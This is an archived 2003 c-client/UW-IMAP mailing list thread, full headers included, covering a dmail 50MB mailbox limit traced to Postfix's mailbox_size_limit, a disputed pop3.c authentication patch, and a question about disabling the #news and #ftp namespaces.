list4.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with SMTP id h8O05TnH085724; Tue, 23 Sep 2003 17:05:29 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8O035vY054188 for ; Tue, 23 Sep 2003 17:03:05 -0700 Received: from hotmail.com (law11-f98.law11.hotmail.com [64.4.17.98]) by mxu2.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8O033uJ002640 for ; Tue, 23 Sep 2003 17:03:04 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 23 Sep 2003 17:03:03 -0700 Received: from 63.206.204.3 by lw11fd.law11.hotmail.msn.com with HTTP; Wed, 24 Sep 2003 00:03:03 GMT Message-Id: Date: Tue, 23 Sep 2003 17:03:03 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Bob Smith" To: MRC@CAC.Washington.EDU Cc: c-client@u.washington.edu Subject: Re: dmail maximum mailbox size Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [63.206.204.3] X-Originating-Email: [b_smith44@hotmail.com] X-OriginalArrivalTime: 24 Sep 2003 00:03:03.0706 (UTC) FILETIME=[398C0FA0:01C3822F] X-Uwash-Spam: Gauge=XIIIII, Probability=15%, Report='FROM_ENDS_IN_NUMS, FROM_HAS_ULINE_NUMS, LIMITED_TIME_ONLY, QUOTED_EMAIL_TEXT, __CT, __CT_TEXT_PLAIN, __EVITE_CTYPE, __FROM_HAS_UNDERLINE_NUMS, __HAS_MSGID, __HAS_MSN_FROM, __HAS_MSN_ORIG_EMAIL, __HAS_MSN_RCVD_DAV, __HAS_XOAT, __HAS_XOIP, __MIME_VERSION, __OUTLOOK_MSGID_2, __RCVD_BY_HOTMAIL, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN this system routinely has 100-200MB free space in /tmp and 1+GB free in /var/tmp. there are no quotas on either filesystem. it's quite possible that procmail is writing the messages to the tmp files (named 'msg.??' where '??' is a random two character string) after dmail delivery fails. this behavior is totally independent of individual message size. the inbox is written to until it reaches 51200000 bytes, then the current message is truncated. since dmail is able to open and write to the inbox there is an implication that it has already successfully collected the message in /tmp or /var/tmp. >From: Mark Crispin >To: Bob Smith >CC: c-client@u.washington.edu >Subject: Re: dmail maximum mailbox size >Date: Tue, 23 Sep 2003 13:33:26 -0700 (Pacific Daylight Time) > >On Tue, 23 Sep 2003, Bob Smith wrote: > > dmail seems to stop working properly when my mailbox size hits 50MB. i >have > > procmail configured to use dmail to deliver to my inbox, when the >mailbox > > hits 50MB it stops growing which corrupts the mailbox. once the mailbox >is > > full dmail delivers to temp files in the same directory as the mailbox. > >There is no 50MB limit in dmail; however, dmail does collect the incoming >message to a tmpfile(), which is typically (depends upon your C library) >written to /tmp, /usr/tmp, or /var/tmp. > >If dmail is unable to write the entire message to the tmpfile(), it >returns EX_TEMPFAIL to the calling program. > >Only after successfully collecting the entire incoming message into the >tmpfile() will dmail even start to deliver the message to the mailbox. >Mail delivery is atomic with no partial delivery; it either completes in >entirely or fails entirely. > >There is no mechanism in dmail to "deliver to temp files in the same >directory as the mailbox." At least, there is not in the distribution >version. If you are using a third-party patched version, e.g. one with a >maildir format driver, that may be a different story. > >-- Mark -- > >http://staff.washington.edu/mrc >Science does not emerge from voting, party politics, or public debate. >Si vis pacem, para bellum. _________________________________________________________________ Get MSN 8 Dial-up Internet Service FREE for one month. Limited time offer-- sign up now! http://join.msn.com/?page=dept/dialup From pinedev@shivax2.cac.washington.edu Tue Sep 23 17:17:53 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Sep 2003 17:17:53 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8O0Hrul006901 for ; Tue, 23 Sep 2003 17:17:53 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8O0HpNf011756 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 23 Sep 2003 17:17:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with SMTP id h8O0Hk2b021910; Tue, 23 Sep 2003 17:17:47 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8O0FRvY072276 for ; Tue, 23 Sep 2003 17:15:27 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu4.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8O0FQTY027490 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 23 Sep 2003 17:15:27 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout6.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8O0FJKl026717; Tue, 23 Sep 2003 17:15:19 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.09/8.12.9+UW03.06) with ESMTP id h8O0FIxZ020707 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 23 Sep 2003 17:15:19 -0700 Message-Id: Date: Tue, 23 Sep 2003 17:15:19 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Bob Smith Cc: c-client@u.washington.edu Subject: Re: dmail maximum mailbox size In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 23 Sep 2003, Bob Smith wrote: > it's quite possible that procmail is writing the messages to the tmp files > (named 'msg.??' where '??' is a random two character string) after dmail > delivery fails. Nothing in dmail or the c-client library writes such files. > this behavior is totally independent of individual message size. the inbox > is written to until it reaches 51200000 bytes, then the current message is > truncated. I wonder if this is also something in procmail, since that doesn't relate in any way to any c-client value. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Sep 23 23:19:54 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Sep 2003 23:19:54 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8O6Jmul018093 for ; Tue, 23 Sep 2003 23:19:48 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8O6Jgtm026362 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 23 Sep 2003 23:19:42 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with SMTP id h8O6JbJv029290; Tue, 23 Sep 2003 23:19:37 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8O6HCvY020832 for ; Tue, 23 Sep 2003 23:17:12 -0700 Received: from mx-s0.dreamwiz.com (mx-s0.dreamwiz.com [211.39.128.135]) by mxu1.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8O6H9XE031697 for ; Tue, 23 Sep 2003 23:17:10 -0700 Received: from pmail0.dreamwiz.com (pmail0.dreamwiz.com [211.39.128.65]) by mx-s0.dreamwiz.com (8.12.10/8.12.10) with ESMTP id h8O6H8ha086729 for ; Wed, 24 Sep 2003 15:17:09 +0900 (KST) Received: from localhost.dreamwiz.com (localhost.dreamwiz.com [127.0.0.1]) by pmail0.dreamwiz.com (8.12.10/8.12.10) with ESMTP id h8O6H89e078457 for ; Wed, 24 Sep 2003 15:17:08 +0900 (KST) Message-Id: <200309240617.h8O6H89e078457@pmail0.dreamwiz.com> Date: Wed, 24 Sep 2003 15:17:08 +0900 (KST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?EUC-KR?B?w9a8usjGKFN1bmctaG9vbiBDaG9pKQ==?= To: c-client@u.washington.edu Subject: IMAP-2002e pop3.c bug MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender-IP: 211.45.66.36 X-Sender-ID: shoon@dreamwiz.com X-Priority: 3 X-DreamWiz-Data: receive_check=0;save=pmail0.dreamwiz.com:shoon:Sent:516; X-Uwash-Spam: Gauge=XXXXXXXI, Probability=71%, Report='CHARSET_FARAWAY_HEADERS, KNOWN_ADVERT_URL, PRIORITY_NO_NAME, SIGNATURE_SHORT_DENSE, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __HAS_X_PRIORITY, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello. For web-mail service( about 9,000,000 users && 50 imap servers ), we use UW-IMAP packages. Please, check the following patch. At 2000/06/09, I reported same problem for IMAP-4.7. IMAP-2000BETA( and all 2000 versions ) fixed this problem, but IMAP-2002 release ( to IMAP-2002e ) doesn't. Thanks. ======================================================================== Some POP3 server just closed connection without ERR response when authentication failed. --- pop3.c.orig Wed Sep 24 14:24:50 2003 +++ pop3.c Wed Sep 24 14:25:14 2003 @@ -638,7 +638,7 @@ } /* abort requested */ else ret = net_sout (LOCAL->netstream,"*\015\012",3); - pop3_reply (stream); /* get response */ + if ( !pop3_reply (stream) ) ret = NIL; /* get response */ return ret; } Choi, Sung-hoon DreamWiz Inc. - Development Team/Manager Major : Mail/Web/Network/System/Security Phone : +82-2-3434-3541 MSN : shoon@dreamwiz.com WWW : http://my.dreamwiz.com/shoon/ E-mail: shoon@dreamwiz.com ------------------------------------------------- Your Life on the Net DreamWiz Free Mail @ http://www.dreamwiz.com/ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 23 23:29:25 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Sep 2003 23:29:25 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8O6TOul018397 for ; Tue, 23 Sep 2003 23:29:24 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8O6TKtm026652 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 23 Sep 2003 23:29:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with SMTP id h8O6TGJv028372; Tue, 23 Sep 2003 23:29:16 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8O6ROvY053526 for ; Tue, 23 Sep 2003 23:27:24 -0700 Received: from ns1.cksoft.de (ns1.cksoft.de [62.111.66.1]) by mxu6.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8O6RMSG002845 for ; Tue, 23 Sep 2003 23:27:23 -0700 Received: from vesihiisi.cksoft.de (unknown [192.168.64.10]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by ns1.cksoft.de (Postfix) with ESMTP id 3EAB615C00D; Wed, 24 Sep 2003 08:27:15 +0200 (CEST) Received: from vesihiisi.cksoft.de (localhost [127.0.0.1]) by vesihiisi.cksoft.de (Postfix) with ESMTP id 521991EF3; Wed, 24 Sep 2003 08:27:14 +0200 (CEST) Received: by vesihiisi.cksoft.de (Postfix, from userid 1000) id 84C491EF2; Wed, 24 Sep 2003 08:27:12 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by vesihiisi.cksoft.de (Postfix) with ESMTP id 7D9111EF1; Wed, 24 Sep 2003 08:27:12 +0200 (CEST) Message-Id: <20030924082411.G15465@vesihiisi.cksoft.de> Date: Wed, 24 Sep 2003 08:27:12 +0200 (CEST) Reply-To: Christian Kratzer Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Christian Kratzer To: Bob Smith Cc: c-client@u.washington.edu Subject: Re: dmail maximum mailbox size In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: ck@vesihiisi.cksoft.de X-Spammer-Kill-Ratio: 75% X-Virus-Scanned: by AMaViS snapshot-20020300-cksoft-02bz on vesihiisi.cksoft.de X-Uwash-Spam: Gauge=I, Probability=1%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, On Tue, 23 Sep 2003, Bob Smith wrote: > dmail seems to stop working properly when my mailbox size hits 50MB. i have > procmail configured to use dmail to deliver to my inbox, when the mailbox > hits 50MB it stops growing which corrupts the mailbox. once the mailbox is > full dmail delivers to temp files in the same directory as the mailbox. > > i am currently using dmail from the imap-2002e distribution. i have seen > this behavior from imap-2001a dist as well. my host platform is solaris 8 > SPARC. does your mta set system resource limits before calling procmail ? Postfix for example has a default of about 50mb for mailbox size. If you have postfix check with postconf and update mailbox_size_limit. vesihiisi# postconf | grep mailbox_size_limit mailbox_size_limit = 512000000 vesihiisi# Greetings Christian -- CK Software GmbH Christian Kratzer, Schwarzwaldstr. 31, 71131 Jettingen Email: ck@cksoft.de Phone: +49 7452 889-135 Open Software Solutions, Network Security Fax: +49 7452 889-136 FreeBSD spoken here! From pinedev@shivax2.cac.washington.edu Wed Sep 24 11:12:22 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 24 Sep 2003 11:12:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8OICMul014110 for ; Wed, 24 Sep 2003 11:12:22 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.08) with ESMTP id h8OICKg6016171; Wed, 24 Sep 2003 11:12:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.09) with SMTP id h8OICG04020720; Wed, 24 Sep 2003 11:12:16 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.09) with ESMTP id h8OIAYhh068912 for ; Wed, 24 Sep 2003 11:10:34 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxu6.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8OIAXSG005360 for ; Wed, 24 Sep 2003 11:10:33 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.08) with ESMTP id h8OIAWg6016051 for ; Wed, 24 Sep 2003 11:10:32 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout6.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8OIAVKl028127 for ; Wed, 24 Sep 2003 11:10:31 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.06) with ESMTP id h8OIAVdk004488 for ; Wed, 24 Sep 2003 11:10:31 -0700 Message-Id: Date: Wed, 24 Sep 2003 11:10:31 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: c-client Interest List Subject: Re: IMAP-2002e pop3.c bug (fwd) In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=III, Probability=3%, Report='IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Some POP3 server just closed connection without ERR response when authentication failed. > > --- pop3.c.orig Wed Sep 24 14:24:50 2003 > +++ pop3.c Wed Sep 24 14:25:14 2003 > @@ -638,7 +638,7 @@ > } > /* abort requested */ > else ret = net_sout (LOCAL->netstream,"*\015\012",3); > - pop3_reply (stream); /* get response */ > + if ( !pop3_reply (stream) ) ret = NIL; /* get response */ > return ret; > } That patch can't be right; it treats "disconnected" the same as "password failed" and thus prevents password retries. Are you trying to prevent a SEGV at pop3_challenge()? If so, the correct fix is to add a test for LOCAL->response being NIL in that function. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 24 15:37:58 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 24 Sep 2003 15:37:58 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8OMbvul029155 for ; Wed, 24 Sep 2003 15:37:57 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h8OMbtY8029388 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 24 Sep 2003 15:37:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.09) with SMTP id h8OMblX3014904; Wed, 24 Sep 2003 15:37:47 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.09) with ESMTP id h8OMaHhh040370 for ; Wed, 24 Sep 2003 15:36:17 -0700 Received: from hotmail.com (law11-f110.law11.hotmail.com [64.4.17.110]) by mxu6.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8OMaGSG032738 for ; Wed, 24 Sep 2003 15:36:16 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 24 Sep 2003 15:36:16 -0700 Received: from 63.206.204.3 by lw11fd.law11.hotmail.msn.com with HTTP; Wed, 24 Sep 2003 22:36:16 GMT Message-Id: Date: Wed, 24 Sep 2003 15:36:16 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Bob Smith" To: ck@cksoft.de Cc: c-client@u.washington.edu Subject: Re: dmail maximum mailbox size Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [63.206.204.3] X-Originating-Email: [b_smith44@hotmail.com] X-OriginalArrivalTime: 24 Sep 2003 22:36:16.0309 (UTC) FILETIME=[441C1650:01C382EC] X-Uwash-Spam: Gauge=XII, Probability=12%, Report='FROM_ENDS_IN_NUMS, FROM_HAS_ULINE_NUMS, QUOTED_EMAIL_TEXT, __CT, __CT_TEXT_PLAIN, __EVITE_CTYPE, __FROM_HAS_UNDERLINE_NUMS, __HAS_MSGID, __HAS_MSN_FROM, __HAS_MSN_ORIG_EMAIL, __HAS_MSN_RCVD_DAV, __HAS_XOAT, __HAS_XOIP, __MIME_VERSION, __OUTLOOK_MSGID_2, __RCVD_BY_HOTMAIL, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN that was it. thx. =) >From: Christian Kratzer >Reply-To: Christian Kratzer >To: Bob Smith >CC: c-client@u.washington.edu >Subject: Re: dmail maximum mailbox size >Date: Wed, 24 Sep 2003 08:27:12 +0200 (CEST) > >Hi, > >On Tue, 23 Sep 2003, Bob Smith wrote: > > > dmail seems to stop working properly when my mailbox size hits 50MB. i >have > > procmail configured to use dmail to deliver to my inbox, when the >mailbox > > hits 50MB it stops growing which corrupts the mailbox. once the mailbox >is > > full dmail delivers to temp files in the same directory as the mailbox. > > > > i am currently using dmail from the imap-2002e distribution. i have seen > > this behavior from imap-2001a dist as well. my host platform is solaris >8 > > SPARC. > >does your mta set system resource limits before calling procmail ? >Postfix for example has a default of about 50mb for mailbox size. >If you have postfix check with postconf and update mailbox_size_limit. > > vesihiisi# postconf | grep mailbox_size_limit > mailbox_size_limit = 512000000 > vesihiisi# > >Greetings >Christian > >-- >CK Software GmbH >Christian Kratzer, Schwarzwaldstr. 31, 71131 Jettingen >Email: ck@cksoft.de >Phone: +49 7452 889-135 Open Software Solutions, Network Security >Fax: +49 7452 889-136 FreeBSD spoken here! _________________________________________________________________ Instant message with integrated webcam using MSN Messenger 6.0. Try it now FREE! http://msnmessenger-download.com From pinedev@shivax2.cac.washington.edu Tue Sep 30 02:21:47 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Sep 2003 02:21:47 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8U9Llul025939 for ; Tue, 30 Sep 2003 02:21:47 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h8U9LjY8020267 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 30 Sep 2003 02:21:46 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.09) with SMTP id h8U9LdQV021730; Tue, 30 Sep 2003 02:21:39 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.09) with ESMTP id h8U9Jthh019254 for ; Tue, 30 Sep 2003 02:19:55 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxu6.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8U9JsSG014739 for ; Tue, 30 Sep 2003 02:19:54 -0700 Received: from Mail.CIS.FU-Berlin.DE (mail.cis.fu-berlin.de [160.45.11.138]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h8U9JqY7020231 for ; Tue, 30 Sep 2003 02:19:52 -0700 Received: by Mail.CIS.FU-Berlin.DE (Smail3.2.0.98) from Python.CIS.FU-Berlin.DE (160.45.11.158) with esmtp id ; Tue, 30 Sep 2003 11:19:51 +0200 (MEST) Received: by Python.CIS.FU-Berlin.DE (Smail3.2.0.98) id ; Tue, 30 Sep 2003 11:19:51 +0200 (MEST) Message-Id: <20030930091950.GD45553@CIS.FU-Berlin.DE> Date: Tue, 30 Sep 2003 11:19:50 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Philipp Grau To: c-client Interest List Subject: Namespace modification Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='SIGNATURE_SHORT_DENSE, __CD, __CT, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, in our installation we want to disable #news and #ftp as options in the namespace. But unfortunately I am not shure where to disable or change the namespace. Is it imap/src/osdep/unix/Makefile or imap/src/imapd/imapd.c or imap/src/osdep/unix/env_unix.c Any tips are welcome. Regards Philipp -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 30 06:22:07 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Sep 2003 06:22:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8UDM7ul000372 for ; Tue, 30 Sep 2003 06:22:07 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.08) with ESMTP id h8UDM5Gs024481 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 30 Sep 2003 06:22:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.09) with SMTP id h8UDLxOk020196; Tue, 30 Sep 2003 06:21:59 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.09) with ESMTP id h8UDJIhh009550 for ; Tue, 30 Sep 2003 06:19:18 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxu7.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8UDJHgY031695 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Tue, 30 Sep 2003 06:19:17 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h8UDJFY8026152 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 30 Sep 2003 06:19:15 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout6.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8UDJEKl025710; Tue, 30 Sep 2003 06:19:14 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.06) with ESMTP id h8UDJEu1025462; Tue, 30 Sep 2003 06:19:14 -0700 Message-Id: Date: Tue, 30 Sep 2003 06:19:14 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Philipp Grau Cc: c-client Interest List Subject: Re: Namespace modification In-Reply-To: <20030930091950.GD45553@CIS.FU-Berlin.DE> References: <20030930091950.GD45553@CIS.FU-Berlin.DE> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 30 Sep 2003, Philipp Grau wrote: > in our installation we want to disable #news and #ftp as options in the > namespace. Why? > But unfortunately I am not shure where to disable or change the > namespace. imap-????/src/osdep/unix/env_unix.c -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue 